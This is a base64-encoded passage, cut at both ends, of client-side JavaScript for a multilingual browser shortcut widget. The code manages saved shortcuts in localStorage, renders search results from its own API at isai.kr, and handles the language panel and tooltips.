W1lbnRCeUlkKCdmaGwtc2VhcmNoLWlucHV0Jyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFJlc3VsdHNDb250YWluZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC1yZXN1bHRzJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFRyaWdnZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC10cmlnZ2VyJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaENsb3NlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtY2xvc2UnKTsNCiAgICAgICAgY29uc3QgaW5kaWNhdG9yVHJhY2sgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWluZGljYXRvci10cmFjaycpOw0KICAgICAgICBjb25zdCBzY3JvbGxJbmRpY2F0b3IgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNjcm9sbC1pbmRpY2F0b3InKTsNCiAgICAgICAgY29uc3QgYWRkVG9Ib21lQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1hZGQtdG8taG9tZS1idG4nKTsNCiAgICAgICAgY29uc3Qgc2VhcmNoQWRkQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtYWRkLWJ0bicpOw0KICAgICAgICBjb25zdCB0b2FzdEVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXRvYXN0LW5vdGlmaWNhdGlvbicpOw0KICAgICAgICBjb25zdCBsYW5ndWFnZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtbGFuZ3VhZ2UtYnRuJyk7DQogICAgICAgIGNvbnN0IGxhbmd1YWdlUGFuZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWxhbmd1YWdlLXBhbmVsJyk7DQogICAgICAgIGNvbnN0IGZpeGVkUXVlc3Rpb25CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLXF1ZXN0aW9uJyk7DQogICAgICAgIGNvbnN0IGZpeGVkQ2hhdEJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZml4ZWQtY2hhdCcpOw0KICAgICAgICBjb25zdCBmaXhlZEFkQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1maXhlZC1hZCcpOw0KICAgICAgICBjb25zdCBmaXhlZEluZm9CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLWluZm8nKTsNCiAgICAgICAgDQogICAgICAgIGxldCB0b2FzdFRpbWVvdXQgPSBudWxsOw0KICAgICAgICBsZXQgY3VycmVudExhbmcgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmhsLXdpZGdldC1sYW5nJykgfHwgJ2VuJzsNCiAgICAgICAgY29uc3QgQVBJX0JBU0VfVVJMID0gJ2h0dHBzOi8vaXNhaS5rcic7DQoNCiAgICAgICAgY29uc3Qgc2hvcnRjdXRNYW5hZ2VyID0gew0KICAgICAgICAgICAga2V5OiAnZmhsLWN1c3RvbS1pY29ucy13aXRoLWV4cGlyeScsDQogICAgICAgICAgICBnZXQ6ICgpID0+IHsNCiAgICAgICAgICAgICAgICBjb25zdCByYXdEYXRhID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oc2hvcnRjdXRNYW5hZ2VyLmtleSk7DQogICAgICAgICAgICAgICAgaWYgKCFyYXdEYXRhKSByZXR1cm4gW107DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgY29uc3QgZGF0YSA9IEpTT04ucGFyc2UocmF3RGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGNvbnN0IHRoaXJ0eURheXNJbk1zID0gMzAgKiAyNCAqIDYwICogNjAgKiAxMDAwOw0KICAgICAgICAgICAgICAgICAgICBpZiAoRGF0ZS5ub3coKSAtIGRhdGEudGltZXN0YW1wID4gdGhpcnR5RGF5c0luTXMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFtdOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBBcnJheS5pc0FycmF5KGRhdGEuc2hvcnRjdXRzKSA/IGRhdGEuc2hvcnRjdXRzLmZpbHRlcihpdGVtID0+IGl0ZW0gJiYgaXRlbS5uYW1lICYmIGl0ZW0udXJsKSA6IFtdOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oc2hvcnRjdXRNYW5hZ2VyLmtleSk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBbXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgc2V0OiAoc2hvcnRjdXRzKSA9PiB7DQogICAgICAgICAgICAgICAgY29uc3QgZGF0YVRvU3RvcmUgPSB7IHRpbWVzdGFtcDogRGF0ZS5ub3coKSwgc2hvcnRjdXRzOiBzaG9ydGN1dHMgfTsNCiAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5LCBKU09OLnN0cmluZ2lmeShkYXRhVG9TdG9yZSkpOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIHN5bmNGcm9tVVJMOiAoKSA9PiB7DQogICAgICAgICAgICAgICAgY29uc3QgcGFyYW1zID0gbmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTsNCiAgICAgICAgICAgICAgICBjb25zdCBzaG9ydGN1dHNQYXJhbSA9IHBhcmFtcy5nZXQoJ3Nob3J0Y3V0cycpOw0KICAgICAgICAgICAgICAgIGlmIChzaG9ydGN1dHNQYXJhbSkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29uc3QgZGVjb2RlZERhdGEgPSBkZWNvZGVVUklDb21wb25lbnQoc2hvcnRjdXRzUGFyYW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgSlNPTi5wYXJzZShkZWNvZGVkRGF0YSk7DQogICAgICAgICAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5LCBkZWNvZGVkRGF0YSk7DQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsgY29uc29sZS5lcnJvcigiRmFpbGVkIHRvIHBhcnNlIHNob3J0Y3V0cyBmcm9tIFVSTDoiLCBlKX0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgZ2V0QXNQYXJhbTogKCkgPT4gew0KICAgICAgICAgICAgICAgIGNvbnN0IHJhd0RhdGEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCiAgICAgICAgICAgICAgICBpZiAoIXJhd0RhdGEpIHJldHVybiAnJzsNCiAgICAgICAgICAgICAgICByZXR1cm4gYHNob3J0Y3V0cz0ke2VuY29kZVVSSUNvbXBvbmVudChyYXdEYXRhKX1gOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICANCiAgICAgICAgY29uc3QgdXBkYXRlQWxsV2lkZ2V0TGlua3MgPSAoKSA9PiB7DQogICAgICAgICAgICBjb25zdCBwYXJhbVN0cmluZyA9IHNob3J0Y3V0TWFuYWdlci5nZXRBc1BhcmFtKCk7DQogICAgICAgICAgICBpZiAoIXBhcmFtU3RyaW5nKSByZXR1cm47DQogICAgICAgICAgICBjb25zdCBhbGxMaW5rcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJyNmaGwtd2lkZ2V0LWNvbnRhaW5lciAuZmhsLWljb24tZGlzcGxheSwgI2ZobC13aWRnZXQtY29udGFpbmVyIC5maGwtZml4ZWQtaXRlbScpOw0KICAgICAgICAgICAgYWxsTGlua3MuZm9yRWFjaChsaW5rID0+IHsNCiAgICAgICAgICAgICAgICBpZiAobGluay50YWdOYW1lID09PSAnQScpIHsNCiAgICAgICAgICAgICAgICAgICAgY29uc3Qgb3JpZ2luYWxIcmVmID0gbGluay5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFvcmlnaW5hbEhyZWYgfHwgb3JpZ2luYWxIcmVmLnN0YXJ0c1dpdGgoJyMnKSkgcmV0dXJuOw0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbGV0IG5ld1VybCA9IG5ldyBVUkwob3JpZ2luYWxIcmVmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IFtrZXksIHZhbHVlXSA9IHBhcmFtU3RyaW5nLnNwbGl0KCc9Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICBuZXdVcmwuc2VhcmNoUGFyYW1zLnNldChrZXksIHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmsuaHJlZiA9IG5ld1VybC50b1N0cmluZygpOw0KCQkJCQkJbGluay5yZWwgPSAnbm9mb2xsb3cnOyANCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgeyBjb25zb2xlLmVycm9yKCdJbnZhbGlkIFVSTCBmb3IgbGluayB1cGRhdGU6Jywgb3JpZ2luYWxIcmVmKX0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfTsNCg0KICAgICAgICBjb25zdCBzaG93VG9hc3QgPSAobWVzc2FnZSkgPT4geyBjbGVhclRpbWVvdXQodG9hc3RUaW1lb3V0KTsgdG9hc3RFbGVtZW50LnRleHRDb250ZW50ID0gbWVzc2FnZTsgdG9hc3RFbGVtZW50LmNsYXNzTGlzdC5hZGQoJ3Zpc2libGUnKTsgdG9hc3RUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7IHRvYXN0RWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyl9LCAyNTAwKX07DQogICAgICAgIA0KICAgICAgICBjb25zdCBhcHBseUxhbmd1YWdlID0gKGxhbmdDb2RlKSA9PiB7DQogICAgICAgICAgICBpZiAodHlwZW9mIHRyYW5zbGF0aW9ucyA9PT0gJ3VuZGVmaW5lZCcpIHsgY29uc29sZS5lcnJvcigiVHJhbnNsYXRpb25zIG5vdCBsb2FkZWQhIE1ha2Ugc3VyZSBsYW5nLmpzIGlzIGluY2x1ZGVkIGNvcnJlY3RseS4iKTsgcmV0dXJufQ0KICAgICAgICAgICAgY29uc3QgdCA9IHRyYW5zbGF0aW9uc1tsYW5nQ29kZV0gfHwgdHJhbnNsYXRpb25zWydlbiddOw0KICAgICAgICAgICAgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmxhbmcgPSBsYW5nQ29kZTsNCiAgICAgICAgICAgIHNlYXJjaFRyaWdnZXIuc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5vcGVuU2VhcmNoKTsNCiAgICAgICAgICAgIGFkZFRvSG9tZUJ0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0LmFkZFRvV2lkZ2V0KTsNCiAgICAgICAgICAgIHNlYXJjaENsb3NlLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuY2xvc2VTZWFyY2gpOw0KICAgICAgICAgICAgbGFuZ3VhZ2VCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5jaGFuZ2VMYW5ndWFnZSk7DQogICAgICAgICAgICBzZWFyY2hBZGRCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgJ0NvcHkgV2lkZ2V0IENvZGUnKTsgDQogICAgICAgICAgICBmaXhlZFF1ZXN0aW9uQnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQucXVlc3Rpb24pOw0KICAgICAgICAgICAgZml4ZWRDaGF0QnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuY2hhcmFjdGVyQ2hhdCk7DQogICAgICAgICAgICBmaXhlZEFkQnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuYWRzKTsNCiAgICAgICAgICAgIGZpeGVkSW5mb0J0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0LmluZm8pOw0KICAgICAgICAgICAgc2VhcmNoSW5wdXQucGxhY2Vob2xkZXIgPSB0LnNlYXJjaFBsYWNlaG9sZGVyOw0KICAgICAgICAgICAgaW5pdGlhbFJlbmRlcigpOw0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IHBvcHVsYXRlTGFuZ3VhZ2VQYW5lbCA9ICgpID0+IHsgbGFuZ3VhZ2VQYW5lbC5pbm5lckhUTUwgPSAnJzsgbGFuZ3VhZ2VzLmZvckVhY2gobGFuZyA9PiB7IGNvbnN0IGxhbmdJdGVtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOyBsYW5nSXRlbS5ocmVmID0gJyMnOyBsYW5nSXRlbS5jbGFzc05hbWUgPSAnZmhsLWxhbmd1YWdlLWl0ZW0nOyBsYW5nSXRlbS50ZXh0Q29udGVudCA9IGxhbmcubmFtZTsgbGFuZ0l0ZW0uZGF0YXNldC5sYW5nID0gbGFuZy5jb2RlOyBsYW5nSXRlbS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgZS5zdG9wUHJvcGFnYXRpb24oKTsgY29uc3QgbmV3TGFuZyA9IGUudGFyZ2V0LmRhdGFzZXQubGFuZzsgaWYgKG5ld0xhbmcgIT09IGN1cnJlbnRMYW5nKSB7IGN1cnJlbnRMYW5nID0gbmV3TGFuZzsgbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2ZobC13aWRnZXQtbGFuZycsIGN1cnJlbnRMYW5nKTsgYXBwbHlMYW5ndWFnZShjdXJyZW50TGFuZyl9IGxhbmd1YWdlUGFuZWwuY2xhc3NMaXN0LnJlbW92ZSgndmlzaWJsZScpfSk7IGxhbmd1YWdlUGFuZWwuYXBwZW5kQ2hpbGQobGFuZ0l0ZW0pfSl9Ow0KICAgICAgICBjb25zdCBnZXRQcm9jZXNzZWRVcmwgPSAoZnVsbFVybCkgPT4geyB0cnkgeyBjb25zdCB1cmxPYmogPSBuZXcgVVJMKGZ1bGxVcmwpOyByZXR1cm4gYCR7dXJsT2JqLnByb3RvY29sfS8vJHt1cmxPYmouaG9zdG5hbWV9YH0gY2F0Y2ggKGUpIHsgcmV0dXJuIGZ1bGxVcmx9IH07DQogICAgICAgIA0KICAgICAgICBjb25zdCBjcmVhdGVJY29uSXRlbSA9IChpdGVtLCB0eXBlID0gJ2RlZmF1bHQnKSA9PiB7DQogICAgICAgICAgICBpZiAoIWl0ZW0gfHwgIWl0ZW0ubmFtZSB8fCAhaXRlbS51cmwpIHJldHVybiBkb2N1bWVudC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7DQogICAgICAgICAgICBjb25zdCBsaW5rID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdzZWFyY2gnKSB7DQogICAgICAgICAgICAgICAgY29uc3QgcGFyYW1TdHJpbmcgPSBzaG9ydGN1dE1hbmFnZXIuZ2V0QXNQYXJhbSgpOw0KICAgICAgICAgICAgICAgIGxldCBmaW5hbFVybCA9IGl0ZW0udXJsOw0KICAgICAgICAgICAgICAgIGlmIChwYXJhbVN0cmluZykgeyB0cnkgeyBsZXQgbmV3VXJsID0gbmV3IFVSTChpdGVtLnVybCk7IGNvbnN0IFtrZXksIHZhbHVlXSA9IHBhcmFtU3RyaW5nLnNwbGl0KCc9Jyk7IG5ld1VybC5zZWFyY2hQYXJhbXMuc2V0KGtleSwgdmFsdWUpOyBmaW5hbFVybCA9IG5ld1VybC50b1N0cmluZygpfSBjYXRjaCAoZSkgeyBjb25zb2xlLmVycm9yKCdJbnZhbGlkIFVSTCBmb3Igc2VhcmNoIHJlc3VsdCBsaW5rOicsIGl0ZW0udXJsKX0gfQ0KICAgICAgICAgICAgICAgIGxpbmsuaHJlZiA9IGZpbmFsVXJsOw0KICAgICAgICAgICAgfSBlbHNlIHsgbGluay5ocmVmID0gaXRlbS51cmx9DQogICAgICAgICAgICBsaW5rLmNsYXNzTmFtZSA9ICdmaGwtaWNvbi1kaXNwbGF5JzsNCgkJCWxpbmsucmVsID0gJ25vZm9sbG93JzsNCiAgICAgICAgICAgIGxpbmsuc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgaXRlbS5uYW1lKTsNCiAgICAgICAgICAgIGlmICh0eXBlID09PSAnc2VhcmNoJykgeyBsaW5rLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZG93bicsICgpID0+IHsgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS91cGRhdGVfdmlld19jb3VudC5waHBgLCB7IG1ldGhvZDogJ1BPU1QnLCBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSwgYm9keTogSlNPTi5zdHJpbmdpZnkoeyB1cmw6IGl0ZW0udXJsIH0pIH0pLmNhdGNoKGNvbnNvbGUuZXJyb3IpfSk7IGxpbmsudGFyZ2V0ID0gJ19ibGFuayd9DQogICAgICAgICAgICBjb25zdCBpY29uQ2lyY2xlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7IGljb25DaXJjbGUuY2xhc3NOYW1lID0gJ2ZobC1pY29uLWNpcmNsZSc7DQogICAgICAgICAgICBpZiAoaXRlbS5pY29uKSB7IGNvbnN0IGljb24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpJyk7IGljb24uY2xhc3NOYW1lID0gYHBoLWJvbGQgJHtpdGVtLmljb259YDsgaWNvbkNpcmNsZS5hcHBlbmRDaGlsZChpY29uKX0NCiAgICAgICAgICAgIGVsc2UgaWYgKGl0ZW0uaW1nKSB7IGNvbnN0IGN1c3RvbUltYWdlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJyk7IGN1c3RvbUltYWdlLnNyYyA9IGl0ZW0uaW1nOyBjdXN0b21JbWFnZS5hbHQgPSBpdGVtLm5hbWU7IGN1c3RvbUltYWdlLm9uZXJyb3IgPSAoKSA9PiB7IGN1c3RvbUltYWdlLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSd9OyBpY29uQ2lyY2xlLmFwcGVuZENoaWxkKGN1c3RvbUltYWdlKX0NCiAgICAgICAgICAgIGVsc2UgeyBjb25zdCBmYXZpY29uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJyk7IGZhdmljb24uc3JjID0gYGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vczIvZmF2aWNvbnM/c3o9NjQmZG9tYWluX3VybD0ke2l0ZW0udXJsfWA7IGZhdmljb24uYWx0ID0gaXRlbS5uYW1lOyBmYXZpY29uLm9uZXJyb3IgPSAoKSA9PiB7IGZhdmljb24uc3R5bGUuZGlzcGxheSA9ICdub25lJ307IGljb25DaXJjbGUuYXBwZW5kQ2hpbGQoZmF2aWNvbil9DQogICAgICAgICAgICBsaW5rLmFwcGVuZENoaWxkKGljb25DaXJjbGUpOw0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdzZWFyY2gnKSB7DQogICAgICAgICAgICAgICAgY29uc3QgdG9vbHRpcCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOyB0b29sdGlwLmNsYXNzTmFtZSA9ICdmaGwtaXRlbS10b29sdGlwJzsgdG9vbHRpcC50ZXh0Q29udGVudCA9IGl0ZW0ubmFtZS5sZW5ndGggPiA1ID8gaXRlbS5uYW1lLnNsaWNlKDAsIDUpICsgJy4uJyA6IGl0ZW0ubmFtZTsgbGluay5hcHBlbmRDaGlsZCh0b29sdGlwKTsNCiAgICAgICAgICAgICAgICBsaW5rLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZW50ZXInLCAoZSkgPT4geyBjb25zdCBjdXJyZW50VG9vbHRpcCA9IGUuY3VycmVudFRhcmdldC5xdWVyeVNlbGVjdG9yKCcuZmhsLWl0ZW0tdG9vbHRpcCcpOyBpZiAoIWN1cnJlbnRUb29sdGlwKSByZXR1cm47IGN1cnJlbnRUb29sdGlwLmNsYXNzTGlzdC5hZGQoJ3Zpc2libGUnKTsgY29uc3Qgd2lkZ2V0UmVjdCA9IHdpZGdldFdyYXBwZXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7IGNvbnN0IHRvb2x0aXBSZWN0ID0gY3VycmVudFRvb2x0aXAuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7IGxldCBvZmZzZXRYID0gMDsgY29uc3QgcGFkZGluZyA9IDU7IGlmICh0b29sdGlwUmVjdC5sZWZ0IDwgd2lkZ2V0UmVjdC5sZWZ0KSB7IG9mZnNldFggPSB3aWRnZXRSZWN0LmxlZnQgLSB0b29sdGlwUmVjdC5sZWZ0ICsgcGFkZGluZ30gZWxzZSBpZiAodG9vbHRpcFJlY3QucmlnaHQgPiB3aWRnZXRSZWN0LnJpZ2h0KSB7IG9mZnNldFggPSB3aWRnZXRSZWN0LnJpZ2h0IC0gdG9vbHRpcFJlY3QucmlnaHQgLSBwYWRkaW5nfSBpZiAob2Zmc2V0WCAhPT0gMCkgeyBjdXJyZW50VG9vbHRpcC5zdHlsZS50cmFuc2Zvcm0gPSBgdHJhbnNsYXRlWChjYWxjKC01MCUgKyAke29mZnNldFh9cHgpKWB9IH0pOw0KICAgICAgICAgICAgICAgIGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VsZWF2ZScsIChlKSA9PiB7IGNvbnN0IGN1cnJlbnRUb29sdGlwID0gZS5jdXJyZW50VGFyZ2V0LnF1ZXJ5U2VsZWN0b3IoJy5maGwtaXRlbS10b29sdGlwJyk7IGlmICghY3VycmVudFRvb2x0aXApIHJldHVybjsgY3VycmVudFRvb2x0aXAuY2xhc3NMaXN0LnJlbW92ZSgndmlzaWJsZScpOyBjdXJyZW50VG9vbHRpcC5zdHlsZS50cmFuc2Zvcm0gPSAndHJhbnNsYXRlWCgtNTAlKSd9KTsNCiAgICAgICAgICAgIH0gZWxzZSB7IGNvbnN0IG5hbWVTcGFuID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOyBuYW1lU3Bhbi5jbGFzc05hbWUgPSAnZmhsLWl0ZW0tbmFtZSc7IG5hbWVTcGFuLnRleHRDb250ZW50ID0gaXRlbS5uYW1lLmxlbmd0aCA+IDUgPyBpdGVtLm5hbWUuc2xpY2UoMCwgNSkgKyAnLi4nIDogaXRlbS5uYW1lOyBsaW5rLmFwcGVuZENoaWxkKG5hbWVTcGFuKX0NCiAgICAgICAgICAgIGlmICh0eXBlID09PSAnbG9jYWwnKSB7DQogICAgICAgICAgICAgICAgY29uc3QgY29udHJvbHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsgY29udHJvbHMuY2xhc3NOYW1lID0gJ2ZobC1pdGVtLWNvbnRyb2xzJzsNCiAgICAgICAgICAgICAgICBjb25zdCBkZWxldGVCdG4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdidXR0b24nKTsgZGVsZXRlQnRuLmNsYXNzTmFtZSA9ICdmaGwtY29udHJvbC1idG4nOyBkZWxldGVCdG4uaW5uZXJIVE1MID0gJyZ0aW1lczsnOyBkZWxldGVCdG4udGl0bGUgPSAn7IKt7KCcJzsNCiAgICAgICAgICAgICAgICBkZWxldGVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZSkgPT4geyBlLnByZXZlbnREZWZhdWx0KCk7IGUuc3RvcFByb3BhZ2F0aW9uKCk7IGxldCBzdG9yZWRJdGVtcyA9IHNob3J0Y3V0TWFuYWdlci5nZXQoKTsgc3RvcmVkSXRlbXMgPSBzdG9yZWRJdGVtcy5maWx0ZXIoc3RvcmVkID0+IHN0b3JlZC51cmwgIT09IGl0ZW0udXJsKTsgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7IGluaXRpYWxSZW5kZXIoKX0pOw0KICAgICAgICAgICAgICAgIGNvbnN0IG1vdmVCdG4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdidXR0b24nKTsgbW92ZUJ0bi5jbGFzc05hbWUgPSAnZmhsLWNvbnRyb2wtYnRuJzsgbW92ZUJ0bi5pbm5lckhUTUwgPSAnJmd0Oyc7IG1vdmVCdG4udGl0bGUgPSAn7Jik66W47Kq97Jy866GcIOydtOuPmSc7DQogICAgICAgICAgICAgICAgbW92ZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgZS5zdG9wUHJvcGFnYXRpb24oKTsgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOyBjb25zdCBjdXJyZW50SW5kZXggPSBzdG9yZWRJdGVtcy5maW5kSW5kZXgoc3RvcmVkID0+IHN0b3JlZC51cmwgPT09IGl0ZW0udXJsKTsgaWYgKGN1cnJlbnRJbmRleCA+IC0xKSB7IGNvbnN0IG5ld0luZGV4ID0gKGN1cnJlbnRJbmRleCArIDEpICUgc3RvcmVkSXRlbXMubGVuZ3RoOyBjb25zdCBbbW92ZWRJdGVtXSA9IHN0b3JlZEl0ZW1zLnNwbGljZShjdXJyZW50SW5kZXgsIDEpOyBzdG9yZWRJdGVtcy5zcGxpY2UobmV3SW5kZXgsIDAsIG1vdmVkSXRlbSk7IHNob3J0Y3V0TWFuYWdlci5zZXQoc3RvcmVkSXRlbXMpOyBpbml0aWFsUmVuZGVyKCl9IH0pOw0KICAgICAgICAgICAgICAgIGNvbnRyb2xzLmFwcGVuZENoaWxkKGRlbGV0ZUJ0bik7IGNvbnRyb2xzLmFwcGVuZENoaWxkKG1vdmVCdG4pOyBsaW5rLmFwcGVuZENoaWxkKGNvbnRyb2xzKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBsaW5rOw0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IGFwcGVuZE5leHRQYWdlID0gKCkgPT4geyBpZiAoaXNMb2FkaW5nTmV4dFBhZ2UpIHJldHVybjsgaXNMb2FkaW5nTmV4dFBhZ2UgPSB0cnVlOyBjb25zdCBzdGFydEluZGV4ID0gKGN1cnJlbnRQYWdlIC0gMSkgKiBJVEVNU19QRVJfUEFHRTsgY29uc3QgZW5kSW5kZXggPSBjdXJyZW50UGFnZSAqIElURU1TX1BFUl9QQUdFOyBpZiAoc3RhcnRJbmRleCA+PSBjdXJyZW50RGlzcGxheUl0ZW1zLmxlbmd0aCkgeyBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlOyByZXR1cm59IGNvbnN0IGl0ZW1zVG9BcHBlbmQgPSBjdXJyZW50RGlzcGxheUl0ZW1zLnNsaWNlKHN0YXJ0SW5kZXgsIGVuZEluZGV4KTsgaXRlbXNUb0FwcGVuZC5mb3JFYWNoKGl0ZW0gPT4geyBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmFwcGVuZENoaWxkKGNyZWF0ZUljb25JdGVtKGl0ZW0sICdzZWFyY2gnKSl9KTsgY3VycmVudFBhZ2UrKzsgaXNMb2FkaW5nTmV4dFBhZ2UgPSBmYWxzZX07DQogICAgICAgIA0KICAgICAgICBjb25zdCByZW5kZXJJbml0aWFsUmVzdWx0cyA9IChpdGVtcykgPT4gew0KICAgICAgICAgICAgc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5pbm5lckhUTUwgPSAnJzsNCiAgICAgICAgICAgIGN1cnJlbnRQYWdlID0gMTsNCiAgICAgICAgICAgIGN1cnJlbnREaXNwbGF5SXRlbXMgPSBBcnJheS5pc0FycmF5KGl0ZW1zKSA/IGl0ZW1zIDogW107DQogICAgICAgICAgICBhcHBlbmROZXh0UGFnZSgpOw0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IHBlcmZvcm1TZWFyY2ggPSBhc3luYyAocXVlcnkgPSAnJykgPT4gew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBjb25zdCByZXNwb25zZSA9IGF3YWl0IGZldGNoKGAke0FQSV9CQVNFX1VSTH0vYXBwYXBpMi5waHA/cXVlcnk9JHtlbmNvZGVVUklDb21wb25lbnQocXVlcnkpfWApOw0KICAgICAgICAgICAgICAgIGlmICghcmVzcG9uc2Uub2spIHRocm93IG5ldyBFcnJvcignQVBJIOydkeuLtSDsmKTrpZgnKTsNCiAgICAgICAgICAgICAgICBjb25zdCByZXN1bHRzID0gYXdhaXQgcmVzcG9uc2UuanNvbigpOw0KICAgICAgICAgICAgICAgIHJlbmRlckluaXRpYWxS